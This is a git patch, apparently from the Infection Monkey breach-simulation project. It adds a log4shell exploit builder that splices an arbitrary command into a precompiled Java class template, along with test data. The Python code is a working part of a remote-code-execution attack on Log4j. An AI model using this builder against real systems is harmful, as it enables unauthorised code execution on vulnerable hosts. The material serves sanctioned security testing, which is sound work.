From 68978907e2b09dc5def8841dfb26b38457700ec3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Dec 2021 13:32:43 -0500 Subject: [PATCH] Agent: Add build_exploit_bytecode for log4shell exploiter --- .../log4shell_utils/Exploit.class.template | Bin 0 -> 462 bytes .../exploit/log4shell_utils/__init__.py | 1 + .../log4shell_utils/exploit_builder.py | 62 ++++++++++++++++++ .../MissingTag.class | Bin 0 -> 460 bytes .../SourceCode.java | 5 ++ .../log4shell_utils/test_exploit_builder.py | 33 ++++++++++ 6 files changed, 101 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/__init__.py create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class create mode 100644 monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/Exploit.class.template new file mode 100644 index 0000000000000000000000000000000000000000..9160de8adf930ed7f9b1b4bc748512642e77d189 GIT binary patch literal 462 zcmZXQO;5r=5Qg6^g@sza#cxbV4}u4|c!PK$co9D$M$cv4kj2uHvKao6XD(_y_yhb= z#%V)<#68UH%=^4E+5P$b`UY^0V+$Nb3ni4(*p70AV~1mxV~-)#R=&~~42gQF)6!KC$iiE6q=#9Zr#s(t;V#? z8cMw?D)mP1AJd{|$+;8^C-n`ruS4YzTbqWvFc5M&ZJ~w~eOh!3(A$xrXi-(A%qS;M zKfo4rVc4RWiklH=uh33x1#+J-N{M%vPj4`<7BQJ2E=hXi%^^Y2BwrF)nv|uA!{~8R K2+mV!pzsG1(OP2w literal 0 HcmV?d00001 diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py new file mode 100644 index 000000000..b978afa59 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -0,0 +1 @@ +from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py new file mode 100644 index 000000000..5cbc3b9e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -0,0 +1,62 @@ +import struct +from pathlib import Path + +EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" +INJECTION_TAG = "###" + + +class InvalidExploitTemplateError(Exception): + pass + + +def build_exploit_bytecode( + payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH +) -> bytes: + """ + Build a payload used to exploit log4shell + :param str payload_command: The command that will be executed on the remote host. + :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with + the placeholder "###". This placeholder will be overwritten + with the contents of payload_command. Defaults to + `EXPLOIT_TEMPLATE_PATH` + :return: Java bytecode that will execute the payload + :rtype: bytes + """ + template_bytecode = _load_template_bytecode(exploit_template_path) + exploit_bytecode = _inject_payload(payload_command, template_bytecode) + + return exploit_bytecode + + +def _load_template_bytecode(exploit_template_path: Path) -> bytes: + with open(exploit_template_path, "rb") as h: + template_bytecode = h.read() + + if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): + raise InvalidExploitTemplateError( + f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`." + ) + + return template_bytecode + + +def _inject_payload(payload: str, template_bytecode: bytes): + payload_bytes = payload.encode() + + if not INJECTION_TAG.encode() in template_bytecode: + raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.') + + index = template_bytecode.index(INJECTION_TAG.encode()) + + exploit_bytecode = ( + template_bytecode[: index - 3] + + str_size(payload_bytes) + + payload_bytes + + template_bytecode[index + 3 :] + ) + + return exploit_bytecode + + +def str_size(data: bytes) -> bytes: + return b"\x01" + struct.pack("!H", len(data)) diff --git a/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class b/monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/MissingTag.class new file mode 100644 index 0000000000000000000000000000000000000000..e4192de0d72670cc289aa71b83d53c7d953466de GIT binary patch literal 460 zcmZWlJx>Bb5Pf?b>~S97;x~nrhlLcD5F3Jx_z^K$FYAUZ9(Uw84FAZQMva9(z#nCt zB?L&^VrJgXdv9j<=lAOyz&UCzETlMW4{2l=ibL@#8i5E0jobcE$%G-((xFZ+7*c-y z(S?I7hwEVr9z$tOzn_MQ9w`QQppq4+`t|NVPSZi2?1T`;uIQnJGJ~yVN-~`I8-iXE z>u}KA^tg*7sV0*q$2LP{?cJG4HBNLCa_lhh&TJe+n%1}5(KBsT=;~12Oh